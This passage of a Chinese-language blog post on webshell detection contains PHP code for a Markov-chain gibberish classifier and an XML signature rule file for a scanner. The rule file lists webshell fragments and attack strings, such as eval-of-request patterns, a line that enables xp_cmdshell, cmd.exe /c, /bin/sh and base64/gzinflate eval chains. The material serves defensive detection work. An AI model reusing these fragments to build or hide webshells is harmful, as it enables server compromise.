187;i:6;d:-7.8495033329175641;i:7;d:-2.915257814589145;i:8;d:-2.7754710419906368;i:9;d:-9.5502910239398933;i:10;d:-4.5510244574503966;i:11;d:-4.7071315107863114;i:12;d:-4.5892723223674494;i:13;d:-6.2432450734008436;i:14;d:-2.9689285157149672;i:15;d:-3.8539273046711369;i:16;d:-7.0090314376007603;i:17;d:-8.2431339833787263;i:18;d:-2.8108514947509753;i:19;d:-2.1177557637833035;i:20;d:-3.2565503308680648;i:21;d:-7.8655036742640059;i:22;d:-5.3805970244760051;i:23;d:-10.383200146874996;i:24;d:-5.2014165965829111;i:25;d:-9.9131965176292614;i:26;d:-0.99113005987532032;}i:19;a:27:{i:0;d:-3.1682706209020797;i:1;d:-8.2177061950993853;i:2;d:-5.8788998386710221;i:3;d:-9.5252196783661631;i:4;d:-2.3388918749787213;i:5;d:-7.1724024598857836;i:6;d:-8.4784324575626382;i:7;d:-1.1074718716074006;i:8;d:-2.3662341497302157;i:9;d:-10.456777882371107;i:10;d:-9.6895227296574387;i:11;d:-4.4185398552495441;i:12;d:-6.0323919738580827;i:13;d:-7.21960886445558;i:14;d:-2.3367153961191565;i:15;d:-8.1619148354709701;i:16;d:-10.719142146838596;i:17;d:-3.4624215669877803;i:18;d:-3.6797447588047447;i:19;d:-4.0251990917417855;i:20;d:-3.9002180815630756;i:21;d:-9.5559913370329159;i:22;d:-5.18259559155831;i:23;d:-10.131355481936478;i:24;d:-4.2047257961667839;i:25;d:-7.9847746374190134;i:26;d:-1.5835253210583506;}i:20;a:27:{i:0;d:-3.6907063474960813;i:1;d:-3.7341336409280999;i:2;d:-3.2454721262149633;i:3;d:-4.0206087126298451;i:4;d:-3.2812979786880589;i:5;d:-5.0172437658127595;i:6;d:-3.1933271849501734;i:7;d:-7.7963898885987;i:8;d:-3.7311188662600099;i:9;d:-9.3545345066452494;i:10;d:-6.2082293746118848;i:11;d:-2.257675168572427;i:12;d:-3.4112977818505237;i:13;d:-2.089862646254399;i:14;d:-6.0964379686237677;i:15;d:-3.1007056950697769;i:16;d:-8.9490693985370857;i:17;d:-1.905375903432984;i:18;d:-1.9722545836234537;i:19;d:-1.9648676140617645;i:20;d:-9.2744917989717131;i:21;d:-6.7831953510849425;i:22;d:-9.3545345066452494;i:23;d:-7.3176525793842098;i:24;d:-7.3735330377786665;i:25;d:-5.2671586137392428;i:26;d:-3.2700350935700784;}i:21;a:27:{i:0;d:-2.4677551327310105;i:1;d:-8.4660147229718206;i:2;d:-8.5613249027761462;i:3;d:-7.8681777222162008;i:4;d:-0.5192363285514866;i:5;d:-8.5613249027761462;i:6;d:-8.2989606383086549;i:7;d:-8.4660147229718206;i:8;d:-1.7429474349452256;i:9;d:-8.4660147229718206;i:10;d:-7.919471016603751;i:11;d:-5.4433749964979059;i:12;d:-8.5613249027761462;i:13;d:-4.566800675836256;i:14;d:-2.7892609207035393;i:15;d:-8.5613249027761462;i:16;d:-8.5613249027761462;i:17;d:-6.2687901456356014;i:18;d:-4.407140340198028;i:19;d:-7.9735382378740267;i:20;d:-6.2891990172668084;i:21;d:-8.3790033459821913;i:22;d:-8.030696651713976;i:23;d:-8.4660147229718206;i:24;d:-5.2581079294741944;i:25;d:-8.5613249027761462;i:26;d:-3.1228109057348257;}i:22;a:27:{i:0;d:-1.596798460957614;i:1;d:-7.6001421705956735;i:2;d:-7.6409641651159284;i:3;d:-5.3446486851354784;i:4;d:-1.8921021056868312;i:5;d:-6.8393363415619133;i:6;d:-8.1109677943616649;i:7;d:-1.6228272590921338;i:8;d:-1.7628783045649916;i:9;d:-8.8731078464085602;i:10;d:-7.0013056695069693;i:11;d:-5.4671598619878079;i:12;d:-8.1799606658486148;i:13;d:-3.2183655671770013;i:14;d:-2.5242186364713008;i:15;d:-8.293289351155618;i:16;d:-9.209580083029774;i:17;d:-4.5700084703243498;i:18;d:-4.2425484264156506;i:19;d:-5.6542320215403601;i:20;d:-7.560921457442392;i:21;d:-9.209580083029774;i:22;d:-7.3074725566328533;i:23;d:-9.209580083029774;i:24;d:-6.8774361877941841;i:25;d:-9.0272585262358191;i:26;d:-2.172728230713227;}i:23;a:27:{i:0;d:-2.2547809680334239;i:1;d:-6.8982098661386058;i:2;d:-2.0276032166460531;i:3;d:-6.4927447580304412;i:4;d:-2.4626424645366942;i:5;d:-5.8334991291461771;i:6;d:-6.8982098661386058;i:7;d:-4.3104458309108979;i:8;d:-2.0731012597852527;i:9;d:-6.8982098661386058;i:10;d:-6.8982098661386058;i:11;d:-6.4282062368928701;i:12;d:-6.7158883093446509;i:13;d:-6.8982098661386058;i:14;d:-4.4558628307694015;i:15;d:-1.4955324842663262;i:16;d:-6.3675816150764355;i:17;d:-4.6364467676648147;i:18;d:-5.7668077546475054;i:19;d:-1.8703897472882491;i:20;d:-4.3724812218303502;i:21;d:-4.3487646952130339;i:22;d:-6.802899686334281;i:23;d:-4.4734071404203108;i:24;d:-5.175443268397502;i:25;d:-6.8982098661386058;i:26;d:-2.5557039896270073;}i:24;a:27:{i:0;d:-3.8728743535324379;i:1;d:-6.0798383375596803;i:2;d:-5.6059562289853746;i:3;d:-6.1495716755743555;i:4;d:-2.9181087352006836;i:5;d:-5.8331401898365893;i:6;d:-6.9987231046108827;i:7;d:-7.3171768357294171;i:8;d:-3.8266394412494407;i:9;d:-8.857621876676566;i:10;d:-7.4507082283539399;i:11;d:-4.7453828245779146;i:12;d:-4.4478584870310849;i:13;d:-5.4481256921997154;i:14;d:-2.2255103117197566;i:15;d:-4.7372306055163644;i:16;d:-9.0399434334705209;i:17;d:-5.7515415459537094;i:18;d:-3.132676045163294;i:19;d:-4.2302010817536546;i:20;d:-7.0384634332603966;i:21;d:-7.6536490723506301;i:22;d:-6.2305407381080231;i:23;d:-7.7049423667381802;i:24;d:-8.1644746961166206;i:25;d:-7.731610613820342;i:26;d:-0.38178901910364238;}i:25;a:27:{i:0;d:-2.5311795993314572;i:1;d:-6.0031460518818198;i:2;d:-5.9078358720774951;i:3;d:-4.6948132322316409;i:4;d:-0.92922301854964551;i:5;d:-5.9078358720774951;i:6;d:-6.0031460518818198;i:7;d:-3.199785670975285;i:8;d:-2.3395844057521735;i:9;d:-6.0031460518818198;i:10;d:-5.6666738152606069;i:11;d:-3.8868905370792679;i:12;d:-4.0016660516716955;i:13;d:-5.0098942788715366;i:14;d:-1.7362497244615696;i:15;d:-6.0031460518818198;i:16;d:-6.0031460518818198;i:17;d:-6.0031460518818198;i:18;d:-5.8208244950878649;i:19;d:-5.9078358720774951;i:20;d:-3.1183453390351104;i:21;d:-5.6666738152606069;i:22;d:-5.9078358720774951;i:23;d:-6.0031460518818198;i:24;d:-4.5680615265924969;i:25;d:-3.7731316517226094;i:26;d:-3.1699327078256037;}i:26;a:27:{i:0;d:-2.154456318300654;i:1;d:-3.1320289092329041;i:2;d:-3.2042402732214348;i:3;d:-3.5547759660800491;i:4;d:-3.8320798875631166;i:5;d:-3.2625149066892174;i:6;d:-4.1318426237305275;i:7;d:-2.7847122791384975;i:8;d:-2.7534204117779435;i:9;d:-5.68607428491371;i:10;d:-5.2715182051042939;i:11;d:-3.7797926294683339;i:12;d:-3.3524684982622079;i:13;d:-3.8123859357235683;i:14;d:-2.6445324753284249;i:15;d:-3.3676057306367433;i:16;d:-6.2378725360564378;i:17;d:-3.6809218434868227;i:18;d:-2.7030074975159986;i:19;d:-1.86142386740762;i:20;d:-4.4723885304095425;i:21;d:-4.9186968304815517;i:22;d:-2.8042850405884527;i:23;d:-7.7839495282823838;i:24;d:-4.7020395584873409;i:25;d:-8.486442571260568;i:26;d:-3.2910629924454486;}}s:9:"threshold";d:0.027138686673887656;}

前期样本训练

//样本训练
        public static function train($big_text_file, $good_text_file, $bad_text_file, $lib_path)
        {
            if(is_file($big_text_file) === false || is_file($good_text_file) === false || is_file($bad_text_file) === false)
            {
                return false;
            }
            //$_accepted_characters = "abcdefghijklmnopqrstuvwxyz"
            $k = strlen(self::$_accepted_characters);
            /*
            $pos = array(
                'a' => 0,
                'b' => 1,
                'c' => 2,
                ..
            );
            */
            $pos = array_flip(str_split(self::$_accepted_characters));
            
//          Assume we have seen 10 of each character pair.  This acts as a kind of
//          prior or smoothing factor.  This way, if we see a character transition
//          live that we've never observed in the past, we won't assume the entire
//          string has 0 probability.
            $log_prob_matrix = array();
            $range = range(0, count($pos)-1);
            //生成26 * 26的正方矩阵
            foreach ($range as $index1)
            {
                $array = array();
                foreach ($range as $index2)
                {
                    $array[$index2] = 10;
                }
                $log_prob_matrix[$index1] = $array;
            }
            
//          Count transitions from big text file, taken 
//          from http://norvig.com/spell-correct.html
            $lines = file($big_text_file);
            foreach ($lines as $line)
            {
                /*
                Return all n grams from l after normalizing
                对训练样本进行规范化，即只保留26英文字母
                */
                $filtered_line = str_split(self::_normalise($line));
                $a = false;
                foreach ($filtered_line as $b)
                {
                    if($a !== false)
                    {
                        //针对二阶紧邻词语的二阶马尔柯夫链
                        $log_prob_matrix[$pos[$a]][$pos[$b]] += 1;
                    }
                    $a = $b;
                }
            }
            //释放内存
            unset($lines, $filtered_line);
            
//          Normalize the counts so that they become log probabilities.  
//          We use log probabilities rather than straight probabilities to avoid
//          numeric underflow issues with long texts.
//          This contains a justification:
//          http://squarecog.wordpress.com/2009/01/10/dealing-with-underflow-in-joint-probability-calculations/
            foreach ($log_prob_matrix as $i => $row)
            {
                //某个字母的二阶马尔科夫和，例如以"a"开头的二阶词语的词频总和
                $s = (float) array_sum($row);
                foreach($row as $k => $j)
                {
                    //对26 * 26二阶马尔科夫链矩阵进行规范化(平均值)
                    $log_prob_matrix[$i][$k] = log( $j / $s);
                }
            }
            
//          Find the probability of generating a few arbitrarily choosen good and
//          bad phrases.
            $good_lines = file($good_text_file);
            $good_probs = array();
            foreach ($good_lines as $line)
            {
                array_push($good_probs, self::_averageTransitionProbability($line, $log_prob_matrix));
            }
            $bad_lines = file($bad_text_file);
            $bad_probs = array();
            foreach ($bad_lines as $line)
            {
                array_push($bad_probs, self::_averageTransitionProbability($line, $log_prob_matrix));
            }
//          Assert that we actually are capable of detecting the junk.
            $min_good_probs = min($good_probs);
            $max_bad_probs = max($bad_probs);

            if($min_good_probs <= $max_bad_probs)
            {
                return false;
            }

//          And pick a threshold halfway between the worst good and best bad inputs.
            $threshold = ($min_good_probs + $max_bad_probs) / 2;
            
//          save matrix
            return file_put_contents($lib_path, serialize(array(
                    'matrix' => $log_prob_matrix, 
                    'threshold' => $threshold,
                ))) > 0;
        }

得到分类器阀值$threshold

//And pick a threshold halfway between the worst good and best bad inputs.
$threshold = ($min_good_probs + $max_bad_probs) / 2;

可疑样本检测

        public static function test($text, $lib_path, $raw=false)
        {
            if(file_exists($lib_path) === false)
            {
//                  TODO throw error?
                return -1;
            }
            $trained_library = unserialize(file_get_contents($lib_path));
            if(is_array($trained_library) === false)
            {
//                 TODO throw error?
                return -1;
            }
            
            $value = self::_averageTransitionProbability($text, $trained_library['matrix']);
            if($raw === true)
            {
                return $value;
            }
            
            if($value <= $trained_library['threshold'])
            {
                return true;
            }
            
            return false;
        }

基于马尔柯夫链算法的元音WEBSHELL判断本质上还是一个聚类过程，通过对基础语料库、正例语料库、反例语料库的马尔科夫建模，获得了一个"二阶词语序列理论预测指数"，而聚类的阀值就是待检测可疑样本和这个预测指数的偏移度，这个预测指数的计算是根据正例语料库和反例语料库的马尔科夫平均矩阵取平均得到的

1. 如果待检测可疑样本和序列的预测指数的偏离度大于这个阀值，则判定为: "原因字符串"
2. 反之如果小于阀值，则判定为: "非元音字符串"

在将马尔柯夫链应用到实际的WEBSHELL检测中，发现存在以下几个困难点

1. 选取正例样本(正常网站文件)、反例样本(恶意WEBSHELL文件)的信息提取维度很难确定，对于基于隐式马尔柯夫链的元音词语判断来说，它的确很适合在域名、文章有效性检测领域发挥作用，但是把这个思想应用到WEBSHELL检测上，WEBSHELL本质上是脚本文件，是一行行的离散的数学公式(代码)，在实验中，我提取了变量、字符串这2个维度进行马尔柯夫链聚类判断
2. 在实际实验中发现，正常网站文件和恶意WEBSHELL计算得到的马尔科夫偏离指数很接近，甚至产生反转现象(即两类聚类反向重合了)，这就完全无法进行聚类分类了

Relevant Link:

http://stackoverflow.com/questions/4672822/how-to-test-if-a-string-contains-gibberish-in-php
https://github.com/buggedcom/Gibberish-Detector-PHP
https://github.com/rrenaud/Gibberish-Detector
http://baike.baidu.com/view/340221.htm
http://zh.wikipedia.org/zh-cn/%E9%A9%AC%E5%B0%94%E5%8F%AF%E5%A4%AB%E9%93%BE
http://en.wikipedia.org/wiki/Precision_and_recall
http://drops.wooyun.org/tips/6220

0x3: 连续 vs 分散

通过进一步观察我们可以发现，变形WEBSHELL的随机性也表现在连续出现的字母和数字上。一般经过变形加密的WEBSHELL都不会出现大段连续的数字或者连续出现相同的字母。同时因为英文字母分布里辅音字母远多于元音字母，变形WEBSHELL更可能连续反复出现辅音字母，而合法网站文件中的代码为了好念多是元音辅音交替

0x2: ID3决策树

Relevant Link: 

http://www.xuebuyuan.com/1482392.html

 

9. 基于文件元信息进行可疑判断

在进行webshell判断的时候，除了文本自身的特征之外，文件本身及其在目录中的元信息也可以作为判断可疑文件的依据

1. 当前目录下是否有某个文件的元信息，包括
    1) 创建时间
    2) 修改时间
和当前目录下的其他文件的差别很大，则对当前文件的判断分值加权(即提高判断为webshell的成功率)

2. 当前文件的属主是否和当前目录下的其他文件差别很大

 

10. 基于client+server粗细粒度的webshell检测

0x1: Client检测: 感知能力

客户端采用粗粒度规则，目的是提高疑似文件的覆盖度，在误报(将正常文件识别为疑似WEBSHELL)概率可接受的前提下，尽量提高准确命中率(将恶意WEBSHELL识别为疑似WEBSHELL)，客户端的拉网式检测主要由以下步骤组成

1. 过滤出我们关注的文件后缀类型
    1) PHP WEBSHELL
        1.1) .php
        1.2) .php4 
        1.3) .php5 
        1.4) .inc 
    2) ASP WEBSHELL
        2.1) .asp
        2.2) .asa
        2.3) .cer
        2.4) .cdx
        2.5) .aspx
    3) JSP WEBSHELL
        3.1) .jsp
    4) SCRIPT WEBSHELL
        4.1) .pl 
        4.2) .py 
        4.3) .sh 
    5) Zombie WEBSHELL 
        4.1) aux. 
        4.2) prn. 
        4.3) con. 
        4.4) nul. 
        4.5) com1. 
        4.6) com2. 
        4.7) com3. 
        4.8) com4. 
        4.9) com5. 
        4.10) com6. 
        4.11) com7. 
        4.12) com8. 
        4.13) com9. 
        4.14) lpt1. 
        4.15) lpt2. 
        4.16) lpt3. 
        4.17) lpt4. 
        4.18) lpt5. 
        4.19) lpt6. 
        4.20) lpt7. 
        4.21) lpt8. 
        4.22) lpt9. 

2. 根据不同的文件扩展名类别分别应用不同的[字符串特征、正则]匹配，计算最后规则匹配的分值权重，将超过70分的疑似文件上报
3. 当前目录下的某个文件和当前目录下的其他文件的差别很大，则对当前文件的判断分值加权(即提高判断为webshell的成功率)
4. 当前文件的属主是否和当前目录下的其他文件差别很大

客户端粗粒度检测规则
decode.xml

<?xml version="1.0"?>
<LEX>
    <Isparser>0</Isparser>
    <Version>2015-01-08</Version>
    <ASP>
        <WEBSHELL>
            <ITEM><STR>/mb/js.js">&lt;/script></STR><NUM>30</NUM></ITEM>
            <ITEM><STR>/mb/2.css"</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>/mb/3.css"</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>server.scripttimeout</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>Branch_directory_13=getCode(Rand(3,5))</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>Dim XBCode</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>(XBCode)</STR><NUM>50</NUM></ITEM>
            <ITEM><STR>gif87a</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>Then Execute(Session("lcx"</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>Response.Write(eval(Request.Item</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>GetObject("IIS://127.0.0.1/W3SVC/"</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>Marcos</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>chopper</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>HYTop.mdb</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>C:\\Progra~1</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>Servu</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>LyfUpload.UploadFile</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>cmd.exe</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>ServerVariables("SERVER_SOFTWARE")</STR><NUM>5</NUM></ITEM>
            <ITEM><STR>Environment.GetLogicalDrives</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>Evilspy</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>GetObject("WinNT://</STR><NUM>50</NUM></ITEM>
            <ITEM><STR>webshell</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>WebAdmin2Y.x.y("add6bb58e139be10")</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>GIF89a</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>lake2</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>.GetFolder(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>Password</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>UserPass</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>VBScript.Encode</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>VBScript.encode</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>.CreateTextFile</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>ipconfig -all</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>kj021320</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>unhonker.com</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>xiaf.info</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>22dm.net</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>cmd.exe /c</STR><NUM>50</NUM></ITEM>
            <ITEM><STR>RegEdit.exe /e</STR><NUM>50</NUM></ITEM>
            <ITEM><STR>/bin/sh</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>net user</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>string jksessionpass</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>ASPYDrvsInfo</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>.CopyFolder</STR><NUM>5</NUM></ITEM>
            <ITEM><STR>.deletefile</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>.ComputerName</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>.CopyFile</STR><NUM>5</NUM></ITEM>
            <ITEM><STR>LocalAdministrator</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>Serv-U</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>System.Environment.SystemDirectory</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>System.Net.Sockets</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>System.Diagnostics</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>System.DirectoryServices</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>System.ServiceProcess</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>new Socket(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>wscript.shell</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>Runtime.getRuntime(</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>xp_cmdshell</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>Microsoft.XMLHTTP</STR><NUM>5</NUM></ITEM>
            <ITEM><STR>System.Reflection.Assembly.Load(Request.BinaryRead</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>WScript.Shell</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>FileOutputStream</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>72C24DD5-D70A-438B-8A42-98424B88AFB8</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>F935DC22-1CF0-11D0-ADB9-00C04FD58A0B</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>13709620-C279-11CE-A49E-444553540000</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>093FF809-1EA0-4079-9525-9614C3504B74</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>F935DC26-1CF0-11D0-ADB9-00C04FD58A0B</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>0D43FE01-F093-11CF-8940-00A0C9054228</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>Scripting.FileSystemObject</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>ADODB.Stream</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>BackDoor</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>command.com</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>uploadvirus</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>s;xvj4kjmx}4LkYMb@#@&amp;?4kUlU6(L/D.P{PI2sl1+v?4kjC</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>hack.cctve.cn</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>fuckanquangoutezheng</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>OleDbConnection(session("DBC"))   instr(DB_CString.Text,":\")</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>sk8t9hSDALYDYBi0HCaGRxSgH5KgABYDYBg4Q</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>crypt_PRO="0mWm2/,5</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>WICXlQa33rNDnBUKHvXcMsQmWDL4e</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[#@~^k0oAAA==@#@&D]kJ@!tYsV@*@!]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>$adminport=43958;</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>SessionName="ASPXSpy";</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[-SETDOMAIN"&vbcrlf&"-Domain=cctv|0.0.0.0|43859|-1|1|0"]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>ShowFolder("C:\\RECYCLER</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[http://127.0.0.1:"&port&"/goldsun/upadmin/s1]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Addxp_cmdshell(SQL2005)</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>awen asp.net webshell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>void cmdExe_Click(object sender, System.EventArgs e)</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>AK-74 Security Team Web Shell</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;\</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal MinUpperBound, ByVal IndexSeperator)</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[Rp=Co&"?pw="&Server.URlEncode(Request("jl"))&"&ib="&Request("ib")]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>1902E59F7273E1902E597A18C51902E59AC1E8F1902E5B554FC41902E5AD8414B19</STR><NUM>80</NUM></ITEM>
            <ITEM><STR><![CDATA[s"&"cri"&"pting"&"."&"Fil"&"eSy"&"stemO"&"bject]]></STR><NUM>80</NUM></ITEM>
            <ITEM><STR>spider,robot,Baidu,Google,360spider,sogou,soso</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>googlebot|baiduspider|sogou|yahoo|soso</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>,"baiduspider","yahoo! slurp","inktomi","msnbot","</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>bfafsfef6f4f_ffdffeffcffoffdffef</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>createobject("S"+"cr"+"ipt"+"ing"+".f"+"il"+"es"+"ys"+"tem"+"ob"+"jec"+"t")</STR><NUM>80</NUM></ITEM>
            <ASPRULE>
                <ITEM>[^\w](Eval|eval|Execute|execute|Eval_r|ExecuteGlobal).{0,3}(UnEncode|request|Request|session|Request.Item|Request.form|Session)(\(|\[)[^\{\}]{0,22}\)</ITEM>    
            </ASPRULE>
        </WEBSHELL>

        <INFORMATION>
            <ITEM><STR>new Socket(AddressFamily.InterNetwork, SocketTyp</STR><NUM>60</NUM></ITEM>
            <ITEM><STR>DDosAttack</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>Attack_Get()</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>Attack_Post()</STR><NUM>10</NUM></ITEM>
            <ASPRULE>
                <ITEM></ITEM>
            </ASPRULE>
        </INFORMATION>
        <SEO>
            <ITEM><STR>/mb/js.js">&lt;/script></STR><NUM>30</NUM></ITEM>
            <ITEM><STR>/mb/2.css"</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>/mb/3.css"</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>351031729</STR><NUM>70</NUM></ITEM>
            <ITEM><STR>tophack.net</STR><NUM>70</NUM></ITEM>
            <ASPRULE>
            <ITEM></ITEM>
            </ASPRULE>
        </SEO>
        
        <ADDITIONALRULL>
            <WEBSHELL>
                <ITEM>
                    <STR>tseuqer lave</STR>
                    <NUM>70</NUM>
                </ITEM>    
                <ITEM>
                    <STR>codepage=65000</STR>
                    <NUM>70</NUM>
                </ITEM>
                <ITEM>
                    <STR>/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/</STR>
                    <NUM>70</NUM>
                </ITEM>
                <ITEM>
                    <STR>"D","7","S","O","q","G","j","l","z","4","L","k","m","x","0","c","v"</STR>
                    <NUM>70</NUM>
                </ITEM>
                <ITEM>
                    <STR>97a103a101a110a116a61a114a101a113a117a101a115a116a46a115a10</STR>
                    <NUM>70</NUM>
                </ITEM>
                <ITEM>
                    <STR><![CDATA[<%a=request("x")%>]]></STR>
                    <NUM>70</NUM>
                </ITEM>
            </WEBSHELL>
        </ADDITIONALRULL>

        <EXT>
            <ITEM>.asp</ITEM>
            <ITEM>.asa</ITEM>
            <ITEM>.cer</ITEM>
            <ITEM>.cdx</ITEM>
            <ITEM>.aspx</ITEM>
        </EXT>

        <LIKEEXT>
            <ITEM><![CDATA[.asp;]]></ITEM>
        </LIKEEXT>

        <BEGINEXT>
            <ITEM>aux.</ITEM>
            <ITEM>prn.</ITEM>
            <ITEM>con.</ITEM>
            <ITEM>nul.</ITEM>
            <ITEM>com1.</ITEM>
            <ITEM>com2.</ITEM>
            <ITEM>com3.</ITEM>
            <ITEM>com4.</ITEM>
            <ITEM>com5.</ITEM>
            <ITEM>com6.</ITEM>
            <ITEM>com7.</ITEM>
            <ITEM>com8.</ITEM>
            <ITEM>com9.</ITEM>
            <ITEM>lpt1.</ITEM>
            <ITEM>lpt2.</ITEM>
            <ITEM>lpt3.</ITEM>
            <ITEM>lpt4.</ITEM>
            <ITEM>lpt5.</ITEM>
            <ITEM>lpt6.</ITEM>
            <ITEM>lpt7.</ITEM>
            <ITEM>lpt8.</ITEM>
            <ITEM>lpt9.</ITEM>
        </BEGINEXT>
    </ASP>

    <PHP>
        <WEBSHELL>
            <ITEM><STR>MCL090810</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>www.mianshamuma.com</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>preg_replace(</STR><NUM>30</NUM></ITEM>
            <ITEM><STR>$password</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>'e'.'v'.'a'.'l'</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>$_GET["woaini"]=="91ri"</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>base64_decode(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>eval(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>exec(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>passthru(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>system(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>shell_exec(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>proc_open(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>pcntl_exec(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>into outfile</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>load_file(</STR><NUM>20</NUM></ITEM>
            <ITEM><STR>.htaccess</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>udfdll</STR><NUM>35</NUM></ITEM>
            <ITEM><STR>shellcode</STR><NUM>55</NUM></ITEM>
            <ITEM><STR>@popen(</STR><NUM>10</NUM></ITEM>
            <ITEM><STR>SetHandler application/x-httpd-php</STR><NUM>40</NUM></ITEM>
            <ITEM><STR>preg_replace($exif['Make'],$exif['Model'],'')</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>oo0o0O0o00oOo0O0o0OoO</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>Eval(base64_decode(file_get_contents(base64_decode</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>eval(base64_decode(</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>eval(gzinflate(str_rot13(base64_decode(</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>eval(gzinflate(base64_decode(</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>eval(gzuncompress(base64_decode(</STR><NUM>80</NUM></ITEM>
            <ITEM><STR>eval(str_rot13(</STR><NUM>80</NUM></ITEM>
